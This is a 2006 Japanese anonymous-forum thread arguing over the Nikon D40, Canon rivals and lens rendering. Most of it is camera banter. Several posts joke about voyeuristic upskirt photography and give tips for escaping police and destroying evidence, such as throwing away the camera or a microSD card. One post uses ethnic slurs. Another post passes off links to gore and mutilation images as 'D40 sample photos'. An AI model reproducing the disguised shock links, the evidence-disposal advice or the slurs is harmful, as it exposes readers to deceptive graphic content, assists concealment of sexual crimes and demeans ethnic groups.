>>215
使えばわかる。

218 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:28:58 ID:rS3aqyYg0
D40くらい安いと盗撮で見つかった時、川とかに投げ捨てても惜しくないかもしれないな。
D2Xで盗撮してたら逮捕されるしかないけど・・・。

219 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:31:35 ID:IqcxjeTi0
捕まったら没収されんじゃない?知らんけど。

220 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:37:50 ID:WZjuSDrK0
【 html化されたこのスレを読んでいるお前へ 】

どうだ、すっげーだろ
これがニコンがキヤノンに対抗できるとか本気で信じてる奴が居た最後の時代だぜ?w
今見ると、笑っちゃうよな?w
でも、時代の変化についていけない馬鹿は本気でニコンが対抗できるって思ってたんだ。
いや、思い込みたかったんだろうな、かわいそうに

おっと、このスレを見た良い子のみんなは
お兄ちゃんたちにニコンって何?って聞いちゃダメだぞ?
泣いちゃうかも知れないからそっとしとこうね^^

221 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:38:17 ID:NAlvN7NMO
サンニッパ付けてるので即フォーマットが必要なのです

222 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:39:32 ID:gTnj8f7N0
サンニッパなら警察が近づいてくる前に逃げられるだろ。

223 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:42:16 ID:mIpvKopYO
パンツを写してなにが楽しいんだ?
パンツを脱がして、中身をなめるのは楽しいけど。


224 :名無CCDさん@画素いっぱい:2006/12/07(木) 22:13:16 ID:7NJKD5ER0
今のデジカメ、50年間使うやつはいないだろうな。

とにかくメーカ間の競合だけしてるつもりはないだろうね、キャノンもニコンも。
マーケットを広げることが大事。

225 :名無CCDさん@画素いっぱい:2006/12/07(木) 22:13:27 ID:LAjYvZGGP
>>223
経験もないくせに笑かすわw

226 :名無CCDさん@画素いっぱい:2006/12/07(木) 22:14:28 ID:rB2VqO9F0
チョンかチャンコロが紛れ込んでいるのかよ

227 :名無CCDさん@画素いっぱい:2006/12/07(木) 22:49:14 ID:AiM0kDkB0
キヤノン工作員が暴れてるなw
そんなにビクビクするなよ。

228 :名無CCDさん@画素いっぱい:2006/12/07(木) 22:54:07 ID:VR2+fj/W0
>>225
経験あったらキモイなw

229 :名無CCDさん@画素いっぱい:2006/12/07(木) 22:54:50 ID:w44p5ysPO
VR24ー120と一緒に買いました。本当はVR18ー200が欲しかったけど売ってなかったから。このレンズ悪い評価らしいけど、そんなことない良く写る

230 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:06:14 ID:7NJKD5ER0
ヒント: 当時は高かった

231 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:18:52 ID:rFGqfJRg0
>>11が個体不良じゃなくD40の実力だとしたら
高価なVRレンズ付ける意味ないね。

232 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:20:48 ID:x5Wa3Xqw0
物を正しく見れない人間には意味の無い事だ。

233 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:24:51 ID:qdXbd4l40
>>231
D40の方は前ピンだね。
単に撮り方が下手だったんだと思う。

D40がデフォルトのAF-Aで、
左右のどっちか近い方にフォーカスが合ってしまったんじゃないかな?

234 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:40:16 ID:Kcsjt2YC0
明らかにピント合ってないんだよなぁ
ネガティブキャンペーンではないかと邪推してしまいかねない程・・・
店員が全員一眼使いってわけじゃないんだろうけどさ、これは撮影者のミスじゃないかね

と言うわけで今から夜景撮ってくる ノシ

235 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:45:31 ID:e7BlaIm80
>>218
Kさつを舐めるなよ。カメラ川に投げ捨てるぐらい直ぐ見つけちゃう。
せめてマイクロSD→SDアダプタで使って、マイクロSDを投げ捨てるぐらいの工夫を汁。

236 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:53:56 ID:CKOiGImn0
ローエンドの機種でもまともなものを作るキヤノンと、
ローエンドではあからさまに手を抜くニコンの企業体質を
体現してるモデルだな。

まあ、それも見抜けない人は一生ニコンにお布施しとけw

237 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:55:17 ID:bjqL9UST0
\92,800のWキットも良いけど、
\59,800+\47,000=\106,800の本体+AF-S DX Zoom Nikkor ED 18-70mm F3.5-4.5G(IF)
も良いような気がするね。

\14,000アップだけど、望遠余り使わないなら、よく使う範囲をカバーしているし、
少し明るいし、小型モーターじゃないから早そうだし。何よりこれ1本で付けっぱなし。

238 :名無CCDさん@画素いっぱい:2006/12/07(木) 23:57:43 ID:bjqL9UST0
>>236

何言ってるんだか。

Canon EOS Kiss DIGITAL Series Part 40
http://hobby7.2ch.net/test/read.cgi/dcamera/1158802764/
280 名前:名無CCDさん@画素いっぱい 投稿日:2006/11/26(日) 03:17:32 ID:nIAumhwD0
あ、それ20D/30Dでは回収掛かってるぞ。
散々ゴマ化してたが最終的には回収して修理になった。
kissでは未だなのか? キヤノン的だな・・・


239 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:04:04 ID:Q/5wWcmn0
先週末、D40とKDXで色々と撮り比べてきた感想。
画質はどっちも同じだね。
強いて言うならデフォルトでKDXの方が僅かに彩度が高くなってるくらいしか差が無い。
大げさな差はなかったよ。
フォーカスは相変わらずKDXの方が俊敏。
ニコンはD70以降と変わらない癖のあるフォーカシングでオリンパス並と思った。
AFポイントは真ん中しか使わない為ファインダーの中にAFポイントが見えるD40よりも
ポイントがはっきりしているKDXの方が見やすいかもしれない。
当日は同じ85mmを付けていったのだけど、VR18-200mmのせいもあるのかD40はとにかく重かった。
レンズも軽めのKDXに比べて取り回しづらい印象がある。
グリップはダイアルの位置が必ず親指に当たってしまうD40は持ちにくいと感じたなぁ。
配置に余裕のあるKDXの方が持っていて疲れなかった。

結論としてはすべてにおいてKDXが圧勝だったよ。


240 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:07:46 ID:FaEnF+Tg0
俺の書き込みを勝手に改造するなよ。

241 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:07:51 ID:1Oz2eiBX0
年末にAF-S DX Zoom Nikkor ED 18-135mm F3.5-5.6G(IF)出るの忘れてた。

242 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:08:04 ID:7NJKD5ER0
>>239

俺はアンチだ  まで読んだ。

243 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:09:09 ID:lXwuQ35i0
>>236
どこにお布施しても、下手くそな CKOiGImn0 は結局負け〜

244 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:10:24 ID:g6oEbQVb0
レポ乙です。
漏れの感想ではD40は普通のカメラじゃないね。
わかった人が使う趣味のカメラ。


245 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:11:57 ID:KjrJjRJk0
>>244
解った人か超初心者だな。
よく解らんカメラだ。

246 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:12:05 ID:+EWQVgUK0
↓だそうです。
439 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/12/08(金) 00:03:29 ID:Q/5wWcmn0
>>438
俺はD2Hのときからやってるけど?w 楽しいからwww ワラ太郎がダニとかいって反応してくれるしwww

247 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:12:37 ID:lXwuQ35i0
>>239
>先週末、D40とKDXで色々と撮り比べてきた感想。

たくさん撮ったんだからさ〜、ちょっとアップしてよ その絵。
え!....。 本当だって信じてるよ。もちろんさ。

248 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:12:53 ID:1Oz2eiBX0
>>244
>わかった人が使う

当たり前。キヤノンとの違いが分からない奴はキヤノンでも使え。



249 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:13:51 ID:/G/UGwo/0
>>246 ↓だそうです

D2Hスレ
25 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/12/08(金) 00:06:14 ID:Q/5wWcmn0
>>24
jpeg
KDX>>>>>>>>>>>超えられない高い壁>>>コンデジ>>トイカメラ>>D2H
これぐらいじゃないの?www


250 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:18:47 ID:MxmJJ2Mf0
ニコン信者哀れ・・・。
せめて、各社のサンプル画像くらい見比べてみろよ。

それでもニコンがいいっていうなら、わしはもう何も言わん。

イメージ先行で信者から金巻き上げとる企業が栄えるのも、それを支える
ニコン信者があってこそ。
いや、確かにマニュアルフォーカス時代のニコンは良かったけどな。。

251 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:21:38 ID:+EWQVgUK0
>>250
最近使っていない、E5700のリプレースと思ったら、十分良い画質だけどな。

不満の画像ってどれのこと?

252 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:22:15 ID:1Oz2eiBX0
>>250

マウント換える前のキヤノンも良い会社だったよ。
電子関係では他の追随を許さなかった。

マウント変更が失敗しないようにと思って心変わりしてからか、
お客さんをえげつないやり方で食い物にするだけ。

すぐに壊れるのは、騙した相手を何度も騙すため?


253 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:27:13 ID:g6oEbQVb0
漏れはキヤノンのカメラにずいぶん助けられているけどな。
ニコン使ってたら撮影いぜんに勉強する事が多すぎて
いいもの撮れなかったと思う。
キヤノンのイージーさは馬鹿に出来ないと思うよ。


254 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:28:10 ID:Q/5wWcmn0
>>251
>E5700のリプレースと思ったら

ああ、レベルが低い会社のコンデジつかってたのなら、不満ないだろうねw

255 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:29:18 ID:AmR3zZIO0
『ニコン・クオリティー』をあなたにも。 D40のCOPYである

このカメラ、一眼エントリー向けの一面とMF・Aiレンズを使用しての撮影と
二面性を持った奥深い製品だ。フォーカス・測光・構図etcの基本的な知識・技術を
体得すべくできた製品。他の上位機種でも勿論これらの操作は可能だが、ボトム製品で
あるD40で体得する事に意味があるのではないか。仮にD40購入後に上位機種を購入しても、
手元に残しておきたい【教育機材】となるだろう。過去のMF機がそうだった様に・・・

いま一度云う
『ニコン・クオリティー』をあなたにも。

あなたは感じますか?
【クオリティー】に秘められたメーカー【Nikon】の思いを・・・


256 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:30:59 ID:MxmJJ2Mf0
>>251
不満の画像ってどれのこと?

たとえばカタログの一番最初に載ってる外人の赤ちゃんの写真。
高いレンズ使ってるのにこんなもんなのかと。。

257 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:32:32 ID:Ue53IEmX0
ニコン一眼の撮って出し
ようやくFujiコンデジの足元に追い付いて来たな

258 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:36:53 ID:5ClvkZj+0
天下のキヤノン様が一番安価なデジ1眼であるD40のスレで何をやっておるのやら・・・

259 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:38:14 ID:MxmJJ2Mf0
俺はニコンが好きだし、銀塩機だけどカメラは何台も持って使っている。
しかし、ニコンのデジタル一眼には、どうも疑問が付きまとう。
ニコンクオリティなんて、キャッチコピーにしなくても、だまってても
使ってる人が感じてくれる製品を出せばいいんじゃ。

最近では、ニコンってイメージだけで使ってるデジから入った人が多い
ようで、ちょっとでもマイナスと撮られる書き込みはキャノネット認定
としてしまうようだ。

敢えて言う。ニコンのデジタル一眼にニコンクオリティは感じられない。

260 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:38:54 ID:+EWQVgUK0
>>256
手元にカタログ有ったから、見てみた。
良い写真かどうかは別にして、17-55のF2.8開放だとこんなもんじゃない?
焦点距離は30mmくらいかな?

解像度は十分だと思うし、どのあたりが不満?色?

261 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:40:19 ID:KjrJjRJk0
>>259
おまいの書き込みは中身が無い。

262 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:42:39 ID:/G/UGwo/0
>>259
そういうことは、D2Xスレでしゃべってこいよ。
エントリー機にプロ機と同様のニコンクオリティを求めてるわけじゃないだろう。
それとも、一桁機のスレで
「敢えて言う。ニコンのデジタル一眼にニコンクオリティは感じられない。 」
なんて言うのはおっかないかい?

263 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:43:41 ID:MxmJJ2Mf0
>>260
ピントは顔に来てるはずなのに、あまりにも肌の質感がない。
フィルムと比較するのはあれだが、KDNのチャペルをバックにした女の子
の写真は、もうすこし肌に質感がある。しかもあれはキットレンズ。

264 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:48:04 ID:+EWQVgUK0
>>263
肌の質感ねぇ・・・難しいね。
ライティングの違いじゃないかと思うけどね。
あと、好みだけど多少ハイキーすぎるかな?

ところで8ページのポートレートの肌の質感はどう思う?

265 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:49:09 ID:g6oEbQVb0
だぬ。これからキスを塗り絵べったりっていうやつは
根絶すると思いたい。そうすればそう少し話もかみ合うのでは。

266 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:50:33 ID:/G/UGwo/0
>>265
別におたがいを蔑む必要もないが、話がかみ合う必要もないと思う

267 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:50:58 ID:MxmJJ2Mf0
>>264
組んだ手の質感はすごく良いと思う。
また、明暗の差がある悪い条件でも奥行きなどの表現力はいいと思う。
だがしかし、顔の肌の質感はよくないように思う。。

268 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:54:40 ID:Q/5wWcmn0
D40作例
http://g002.garon.jp/gdb/GY/1Q/cC/5U/3Q/lY/4D/wU/0S/XD/ow/nG5.jpg
http://www.geocities.com/oneKashmir/mag_collection_very_graphic/boy_mutilated.jpg
http://www.consumptionjunction.com/downloadsnew/cj_42940.jpg
http://www.eccdubai.ae/images/mincer/mincer21.jpg
http://www.eccdubai.ae/images/mincer/mincer24.jpg
http://www.eccdubai.ae/images/mincer/mincer25.jpg

269 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:56:30 ID:5wEXYEva0
>>268
グロ注意


270 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:56:59 ID:/G/UGwo/0
>>267

なあ女性の顔だけ質感が・・・っていうなら、それはメイクのせいじゃないか?

271 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:57:20 ID:+EWQVgUK0
>>267
なるほど・・・難しいね。
ただ、そこまで細かい要求を満たしてくれるデジカメは少ないとは思うよ。

おまけに、銀塩の場合は質感の描写はカメラで決めるものでは無かったから、
そもそも、ニコンのカメラ設計に質感描写のノウハウは無かった訳だし・・・

そう言うノウハウの点では、コダックや富士フィルムが得意なんだろうね。

272 :名無CCDさん@画素いっぱい:2006/12/08(金) 00:57:52 ID:5wEXYEva0
>>265
キャノネットはこんなのばっかりだぞ?

荒らしは荒らしが目的なんだから、話がかみ合うなんて絶対無理。
スルーが一番。

273 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:00:01 ID:MxmJJ2Mf0
まあ実は、MFニッコールも人肌の描写は得意ではないんだけどね。
何で俺がこのスレにいるかといったら、D40にMFつけて使いたかった訳よ。
で、露出計使えないなんて知ったものだからけちをつけたくなったわけ。
別にマニュアル露出でも普段と同じだからいいんだけどね。

もう書き込みはしません。
スレ汚しスマンカッタ。

274 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:03:30 ID:+EWQVgUK0
>>273
>で、露出計使えないなんて知ったものだからけちをつけたくなったわけ。
これは完全に同意するわ。

でも、デジの場合、露出計なんて必要無いよ。
少なくとも、撮り直しが効く風景や静物なんかの場合は。

結果見て露出調整するだけ。
慣れれば、3枚くらい撮るだけで露出は合わせられるよ。

275 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:12:54 ID:5wEXYEva0
>>273
どのMFニッコールかにも寄るな。

35/1.4とか28/2.8なんかはすごく柔らかで階調の豊かな肌の描写をするし、
他社だとポートレートレンズの代表格と言われる85/1.4は、
なぜかニッコールでは全体に色も薄く階調表現もいまいちでポートレンズには不向き。
そのかわり、85/2が女性を撮るにはすごくいい。

ニコンレンズ、特にMFニッコールは玉によって描写の方向性がまるでちがうので、
全体をひと括りにしてアレが苦手、これが得意とは言えない筈。
そんなことはニッコール遣いなら百も承知のはずだが?

>>274
そそ。
普通に感度分の16で撮れば、被写体の色で露出補正とか悩まずに済む分、
かえって楽な気がする。

276 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:15:41 ID:V1yIctd00
このデジタル時代にレンズによって階調が変わるとかよくもまぁ恥ずかしげも無く・・・。
文明開化以前の爺ちゃんが来るようなスレじゃないのに。

277 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:15:48 ID:/G/UGwo/0
どうして、先行しているD200やD2XでAiニッコールが使えるのに
D40なんだろうか・・・・・・・・・
Aiニッコール使いのニコ爺ならば、高いボディ買ってください。

278 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:20:39 ID:5wEXYEva0
>>277
ごめん、D50スレでも書いたけど、嫁に財布のヒモ握られてて金ない(笑)


279 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:21:15 ID:MxmJJ2Mf0
>>275
もう書かないと言って見苦しいが、自分が良く使う、50/1.4と85/1.4
の話でした。ZFのウルトロン 40/2 は、良かったので。

>>274
確かにおっしゃるとおりです。自分は動くものは撮らないので。



280 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:22:13 ID:+EWQVgUK0
>>276
>レンズによって階調が変わる
普通に変わるでしょ?
もちろん微妙な階調表現の話だけどね。
例えば、描写の良く無いレンズでは、フレアとか鏡筒内の乱反射で、
コントラストが落ちて暗部が明るくなるでしょ?

281 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:23:51 ID:V1yIctd00
フレアと階調を一緒くたにするな。

282 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:26:13 ID:+EWQVgUK0
>>281
結果として階調が変わるでしょ?

283 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:28:00 ID:5wEXYEva0
>>279
厳密には、ありゃコシナ/フォクトレンダーのAi-S規格レンズではあるけど、
ZF(Zeiss-Fマウント用)じゃないけどな。

まあ、これは余計なツッコミか。スマソ

284 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:28:10 ID:V1yIctd00
ふざけてるの?

285 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:28:21 ID:/G/UGwo/0
>>278

俺は今、ヨドバシのD40キャンペーンで配ってたDVDを見てみた。
お母さんと娘さん(小学生)が「探検隊」と称して、散歩写真を撮るストーリーだ。
「隊長! 綺麗な花を発見しました!」
「でかしたぞ リサ隊員!」
黄色い花のアップ。そしてスーパーでクローズアップ撮影モードの紹介・・・・・・・
そして二人は、公園でブランコに乗ったり、夕暮れシーンで夜景モードを使ったり・・・・・・

これがD40のターゲットだよ。ママさんカメラ。
そんなカメラに向かってね、85/1.4とか使ってる往年の写真ファンがね
「質感が」とかケチつけてみっともないと思わんのか。

286 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:32:24 ID:+EWQVgUK0
>>284
ふざけて無いよ。
レンズによって、コントラスト(階調の強弱)が高いとか、低いとかって言うのが有るでしょ?
それにレンズの性能を現すMTFの意味はコントラスト(階調の強弱)だよ?
http://www.nikon-image.com/jpn/products/lens/mtf.htm
一般に、10本/mm の曲線が1に近いほどコントラストがよくヌケの良いレンズになり、
30本/mmの数値が高いほど高解像なレンズといえます。

287 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:35:26 ID:V1yIctd00
へぇ、じゃあそのMTF理論で言うと、
>35/1.4とか28/2.8なんかはすごく柔らかで階調の豊かな肌の描写をするし、
↑この「階調豊かな」とかいうのはコントラストの低く抜けが悪い粗悪なレンズってことなんだね。
物はいいようだなぁ。
ちょっと老人の知恵に関心。

288 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:36:25 ID:/G/UGwo/0
最近カメラはじめた奴は、コントラストがPCで自由自在にいじれるもんだから
レンズの持つコントラストがわかんねーだよ。

コーティング技術もあがったから、安いのでもそこそこ写るしね。
昔みたく、ほんとにホワホワなレンズと、妙にコントラストのつくレンズの違いもないさ。


289 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:38:30 ID:/G/UGwo/0
>>287
そういうのを、軟調といって尊ぶシーンもあるよ。
硬調のがいい撮影シーンもある。

なんでもシャープで高コントラストがいいってのが、最近の風潮だけど
結局は写った写真の印象できまるな。

290 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:39:29 ID:/lBoLSvL0
>>287
知識の断片を奇妙な具合に羅列しただけで何か分かったような気になる癖を改めること。

291 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:39:38 ID:+EWQVgUK0
>>285
いや、ところがD40には2面性と言うのが有って
・ニコン最高の高感度画質。
・FM3aを彷彿させる小型軽量のボディ。
・液晶の入っていないクリアなファインダー。
・D200でも使えない非Aiレンズが使える万能マウント。
などの点がマニアに注目されているのだよね。

>>287
まあ、そんなところだ。
要するにフレアはレンズの味と言うやつに近い。

292 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:41:32 ID:V1yIctd00
だからフレアは関係ないだろ・・・。
そろそろ来るのか、釣れた宣言・・・。
勘弁してくれ。

293 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:41:36 ID:/G/UGwo/0
>>291
マニアが注目するのはわかるけど(俺も似たようなもんだ)、マニアなら事情を読めとw
F-401の時代から、エントリー機はAiニッコールで露出計連動しないだろうと・・・・

294 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:46:09 ID:/G/UGwo/0
>>292
フレアがコントラスト低下の最大要因なんだよ。
特に昔のレンズは、最近のレンズのように優れた多層コーティングをしてないから
順光でもフレアっぽい鏡筒内散乱はあった。

ただそれはコントラストを低下させつつも、
それぞれのレンズの持つ味というのを出していたんだ。

オマエが言ったとおり、文明開化以前のことだから、知らなくたっていいんだ。
ただ自分が知らないことで、人を無知呼ばわりするのは違うな。

295 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:47:20 ID:4nk6GRVj0
>>285
D40は、メーカーの意図に反し、
既存のニコンユーザーのサブカメラとして売れていくような気がしているのだが

296 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:50:07 ID:/G/UGwo/0
それはデジカメ板や価格とか、マニアの巣ばっかり見てればそんな気はしてくるが……。
でも実際はボリュームが違うでしょ。

D40で一眼デビューな人、結構多い。

297 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:51:01 ID:k3hBap/E0
>>294
>>292

今のレンズカタログにはこんな事書いてないみたいだね。
常識中の常識だったが。

描写や味は、フレア・収差・解像度・・・全てが合わさった結果だから、
関係ないモノなど何もないんだよね。

ヌケって理解されているのかな?
銀塩じゃなきゃ分かりにくい気がするが。


298 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:51:33 ID:/lBoLSvL0
>>295
サブカメラを買うような「マニア」は元々多いはずがないから大勢には関係ないんじゃない。


299 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:54:15 ID:/lBoLSvL0
>>297
ということですな。

300 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:54:44 ID:/G/UGwo/0
>>297
抜けがよくしたかったら、コントラストにS字カーブかいて、
RGBのBチャンネルの上側をちょっとつまんであげる(青みを軽くかける)
好みでシャープ処理を少しかける

今はもう、これだけで「抜け」がよくなる時代だから、ね・・


301 :名無CCDさん@画素いっぱい:2006/12/08(金) 01:58:32 ID:/lBoLSvL0
>>300
それだけではどうしようもない部分があるけど、子供の頃からNTSCのアニメが刷り込まれている子供には通じないと。

302 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:00:30 ID:k3hBap/E0
>>300

自分で絵を描いちゃうなんて時代が変わったのか。
出来れば撮って出しを楽しみたい、そんな俺は取り残されているのか・・・

むろん仕事なら、どんな絵でも描くけど(本来業務じゃないが)。

銀塩もやっぱ楽しいって今実感した。


303 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:01:06 ID:/G/UGwo/0
ウィンドウズのCRTも「抜けがいい」真っ青ディスプレイだから
もう青くて青くて・・・・ まじめに色決めても、見てもらうときには真っ青w

304 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:02:26 ID:V1yIctd00
いやいや、そうじゃなくてさ、
そのヌケ?の悪い粗悪レンズを「すごく柔らかで階調の豊かな肌の描写をする」と誤魔化すのが老害だというのよ。
順光でフレアだの常識を外れた粗悪品じゃねぇか。
まるでウンコを食っても苦味の利いた上品な味とでもいいたげな世迷言だ。

305 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:05:56 ID:+EWQVgUK0
>>304
まあ、最近のレンズはフレアはかなり抑えられているから、どっちかと言うと開放時の収差かな。
ポワーっと柔らかな表現になるやつ。
ソフトレンズなんかは、それを有効に使って柔らかな描写にしているのは判っているでしょ?

306 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:06:39 ID:/G/UGwo/0
>>304
そうだな、老害はひどいけど、粗悪品と言ってもいいだろうな。
別に、俺は今時の高性能レンズが悪いなんて一言も言ってないぜ。
話の流れではポートレート用のレンズだけどだけど
今の若い奴でも、ポトレには軟調のレンズを欲しがるんじゃないかな?
女性の肌をなめらかにやわらかく表現できるからだ。

そういうレンズをウンコに例えてるようだと、ちょっと可笑しいね。
職人さんが一生懸命手磨きした素晴らしいレンズだよ。

307 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:07:52 ID:/lBoLSvL0
>>304
君の言うことは独善的で他人に通じないと言われ続けているだろう。
具体的な何を念頭においていっているつもりかね? 

308 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:12:37 ID:/G/UGwo/0
しかし、レンズのコーティングも知らない奴がどうしてここまで偉そうなのか……

だんだんイライラしてきたw

309 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:13:30 ID:k3hBap/E0
>>304
>「すごく柔らかで階調の豊かな肌の描写をする」

頭から斜め読みなんで見落としたかも知れないが、
ここでキットズームをこう表現していたら、それはただの嵐。

順光でも問題のあるレンズは安いレンズに少なからずある。
コーティングが良すぎて、あからさまには見えていないだけ。

描写云々は単焦点の話でしょ、基本的に。
ニコンのレンズは個性があるよ、明らかに。
ミノルタ・キヤノンほどにはポートレート向きがそろっていないのも事実。
全体的に線が太く強くしっかりした描写がニコンだから、好き嫌いはある。


310 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:18:37 ID:Q/5wWcmn0
EFレンズ使ったことない人たちはなんか必死だよねw

311 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:19:56 ID:V1yIctd00
どうにもジェネレーションギャップは埋まりそうも無いなこりゃ・・。
釣りではなかったようだけど悪質な老害だぞマジで。
「すごく柔らかで階調の豊かな肌の描写をする」ってレベルじゃねぇぞ。
粗悪レンズは粗悪品。
階調豊かなとか色ノリがいいとかヌケが良いなんてのはデジタル時代にそぐわないんだよ。

312 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:20:58 ID:k3hBap/E0
>>310

趣味の問題だが、質感の出ないEFレンズは評価以前。

100円ボールペンと万年筆の違いと似ている。


313 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:21:40 ID:+EWQVgUK0
>>310
今度は自己紹介か。
で、EFを使っていないとすると、カメラは何を使っているのかな?

314 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:22:42 ID:/G/UGwo/0
勘違いするなよ。例になってるのは、Ai35/1.4だな。
開放側はソフトでポトレにはいいレンズだ。
もちろんフレアっぽいなんてこともない。

多分、デジにつけたら、色ずれはすると思う。それは大口径のデジ以前レンズの宿命だ。
(CCDとフィルムで特性が違うというだけだ)

ちなみに俺30代だがなw

315 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:27:25 ID:/G/UGwo/0
>>311
とりあえず、そうまでいうなら、デジタル時代に向いた
オマエのお勧めのレンズを挙げてみなよ。
きっとも俺も賛成するからw

316 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:34:28 ID:V1yIctd00
デジタル時代に向いたお薦めレンズは200mmF2VRくらいかな。
反対意見は無いと思うが。

317 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:34:31 ID:+EWQVgUK0
>>311
>階調豊かなとか色ノリがいいとかヌケが良いなんてのはデジタル時代にそぐわないんだよ。
「色ノリ」には同意。
でも、階調(正確にはコントラスト)とかヌケはデジタルでも同じでしょ?
もっとも、「色ノリが良い」=「ヌケが良い」で有る場合は多いけどね。

318 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:35:42 ID:+EWQVgUK0
>>316
それは、ヌケが良いから・・・じゃまいか?

319 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:41:38 ID:V1yIctd00
各地で議論し尽くされてる感もあるが、「ヌケ」なんて個人の感想レベルの概念で
具体的にこれがヌケの良い例悪い例というのが一切出てきたためしがない机上の空論なんだよね。
「色ノリ」についても単にT値の悪いアンダー目で
濃い目に見えるだけの粗悪レンズをありがたがってるだけというのが実情。

要するに、各自の物の言い方ひとつで痘痕も笑窪に見せかけてるだけじゃねーかと。
そういうウンコをさも旨そうに食う悪趣味な世紀末的老害はデジタル時代に似合わないと、
こう思ってるだけのこと。

320 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:42:11 ID:/G/UGwo/0
>>316
いいね、あのレンズは。
恐ろしくシャープだし、色ノリがよくて抜けがよくて、
ボケ味も良くて、階調描写も滑らかだ・・・・ って何がおかしいんだ?


321 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:44:16 ID:/G/UGwo/0
お前とは写真の話も、レンズの話ももうしないよ。
抜けの良い作例が一切ないとか、写真撮ってんのかと。

色ノリに違いがないというのも、光学ガラスの性質をまったく解かってないね。
要するに、知識が無いところでいきがってみたら
無知を指摘して負け惜しみを言ってるだけだな。

322 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:45:27 ID:/G/UGwo/0
↑無知を指摘されたから、負け惜しみを言ってるだけだな。

323 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:45:41 ID:+EWQVgUK0
>>319
まあ、言っている事は判らんでも無いが、
とりあえず>>286の様に書いている各メーカーを指導してからにしてくれや。

